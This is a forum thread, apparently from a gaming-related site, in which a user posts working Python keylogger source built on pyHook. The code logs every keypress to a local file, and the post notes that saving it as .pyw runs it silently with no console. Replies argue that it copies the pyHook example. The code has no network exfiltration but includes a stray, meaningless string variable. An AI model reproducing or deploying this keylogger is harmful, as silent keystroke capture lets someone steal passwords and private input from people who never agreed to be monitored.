• Log in or sign up for an account here: https://www.sythe.org/login

First Python - Key recorder.

r0b0t1

Active Member
Joined
Jan 23, 2007
Sythe Gold
0
Messages
124
I made this for education, no intents or harm intended. Also, to my knowledge, this is not against the rules. Because YOU MUST CONCIOUSLY EXECUTE IT.

To use it you must have python, pyHook, and pythoncom. You can save it as .py to show the key presses, or .pyw to run silent with no console. (if you do latter, make sure to control>alt>delete to stop it) it makes a file in the directiory you saved it in. I can't upload .py or .pyw files. so here it is.

Code:
# -*- coding: Utf-8 -*-

import pythoncom, pyHook, py_compile
#compile the code.
py_compile.compile("keylogger.py")
#main part to record.
def OnKeyboardEvent(event):
  open('Record.txt', 'a+').write(event.Key+' ')
  print 'MessageName:',event.MessageName
  print 'WindowName:',event.WindowName
  print 'Key:', event.Key
  print 'KeybID:', event.KeyID
  print '---------------------------'
   
  # return True to pass on the key to other programs
  return True
chin = '灓捡灓捡⁆⁁'+' ″″‴′‵″‴′″'
 # error characters.
hookm = pyHook.HookManager()
# all key events events
hookm.KeyDown = OnKeyboardEvent
# set the hook to keyboard
hookm.HookKeyboard()
# wait
pythoncom.PumpMessages()
 
You just took the example from the pyhook site and just added the open().write() part.

Not very cool.
 
What other way is there to make a key recorder? you don't know I took it from the site, and you should not accuse me for that.


EDIT: looked at the site, and yes, they are simmilar.
 
I can accuse you because of what I've seen.

You built your scripts out of two pre-existing scripts, both I believe are on Mark Hammond's pyhook page, you have the same variable names, and threw in your own comments, and some chin variable.

Shame.

EDIT: You also said this isn't against the rules because you have to use it conciously, but isn't everything we do (while we're awake, and drug free, mind you) concious?
 
No, the user must execute it, and I don't think you can send it to a server. (with what IVE posted.)

and anyway, I said I wrote it ( or implied ) not thought of the idea.
 
Isn't that obvious Teizhcial?
 
Runescape Gamblingrunescape gambling
Back
Top